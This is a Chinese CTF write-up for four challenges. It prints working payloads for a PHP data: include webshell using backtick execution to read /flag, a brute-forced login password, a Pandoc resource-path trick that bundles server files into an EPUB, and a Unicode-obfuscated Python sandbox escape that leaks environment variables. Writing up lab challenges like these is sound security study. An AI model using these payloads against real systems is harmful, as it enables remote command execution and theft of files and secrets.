Signin
题目把可用字符卡得很死:过滤了 ['/', 'convert', 'base', 'text', 'plain'],而且 file 参数只有在长度不超过 20 时才会走包含逻辑。思路上没太多绕路空间,只能盯着 data 协议下手。
// 被禁掉以后,data: 还能用短写 data;, 过掉这层限制。配合 include 对上传内容的解析特性,可以直接把 payload 当成 PHP 代码执行:
?file=data:,<?phpinfo();?>
跑出 phpinfo 后能看到 short_open_tag=On,这就省了不少字数。原本打算直接上 <?=eval($_GET[x]);,但长度超了,只能换更短的写法。反引号其实就是 shell_exec() 的语法糖,这里能直接借来用:
?file=data:,<?=`${$_GET[x]}`;&x=cat /flag
题目不支持 POST,最后就靠这个 GET 参数把 /flag 读出来了。

渗透测试
这题表面上是登录框,实际还是密码爆破。附件里给了两万条密码,Burp Suite 抓到包以后发现参数还做了加密,直接 Intruder 跑基本没戏,成本太高。
我这里换了个更笨但更稳的办法:自己写 Python 脚本模拟键盘输入,用户名固定为 admin,逐个试密码。多机并行之后很快拿到了结果:5V26s9dBZQVBZgyyVC00baeW。

Markdown2world
上传别的后缀会被拒,提示只能传 .md 或 .markdown。题面又给了 Pandoc 相关配置,方向其实很明确:不是盯着文件后缀,而是看转换链里还能不能插东西。
一开始想到的是模板注入,直接试了:
---
template: /flag
---
xxxxxxxxx
结果被拦了,template 和 reference-doc 都过不去,PDF 路线也没法走。文件名注入这条路也试了,上传 <?phpinfo();?>.md 没起作用,文件名会被重写,靠这个做不了文章。
最后还是回到 Pandoc 的 EPUB 机制。它有 resource fetching,能按资源路径去抓内容。这里的思路不是'执行',更像是借它把敏感文件打包进产物里。多给几条候选路径,命中率会高一点:
---
resource-path: ["/", "/tmp", "/home/ctf", "."]
---

下载后把文件改成 .zip 解压就能看到内容。flag 就在包里,不算优雅,但很实用。


原本还想顺手试试 docx 和 html 那边的洞,不过几组常见 payload 下来,没看到能直接拿下来的点。
I really really really
这题是 Python 沙箱逃逸。先做了一轮 fuzz,发现常见的 ' " [ ] { } __ ; 和数字 0-9 都被过滤了。hint 提到 unicode,这就得去找那些'长得不像普通字符'的替代写法。
先摸到两个关键点:单引号可以用 ʼ(U+02BC)顶掉;下划线 _ 本身没被封死。麻烦在于 __ 还得单独处理,试了不少组合,最后只有 _̲ 和 ﹎_ 这两种能过,其中 _̲ 会被系统自动识别成普通字符,比较省心。


接着是关键字问题。原来想用 ʼ claʼ +ʼss ʼ 之类的拆法绕过去,结果不稳定。后来看到题目的字体样式,改试数学花体字母 𝓬𝓵𝓪𝓼𝓼,反而一次就通了。
基础链路打通后,按常规思路去读 flag,结果回显是空的。排查了一圈,发现环境变量里也有 flag,路线就变了:不再执着于直接读文件,而是从对象链里把包含 os 的 globals 翻出来。
下面这段是先摸到 __globals__ 的思路,字符数也控制得比较紧:
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
except:pass
再利用报错把结果带出来,错误信息会直接回显到页面里:
a=()
b=a._﹍𝓬𝓵𝓪𝓼𝓼﹍_
c=b._﹍𝓫𝓪𝓼𝓮﹍_
d=c._﹍𝓼𝓾𝓫𝓬𝓵𝓪𝓼𝓼𝓮𝓼﹍_()
r=()
for x in d:
try:
g=x._﹍𝓲𝓷𝓲𝓽﹍_. _﹍𝓰𝓵𝓸𝓫𝓪𝓵𝓼﹍_
e=g.get(k).environ
r=e
except:pass
assert ...!=...,r
回显里能看到环境变量内容,flag 就在里面。

中途还想把 flag 落到同目录文件里,走 os.system('cat /flag>/tmp/a') 这一类思路,但 payload 太长,最后没法塞进题目限制里。这个方向不是完全不行,只是这题对长度卡得比较狠,做起来很别扭。
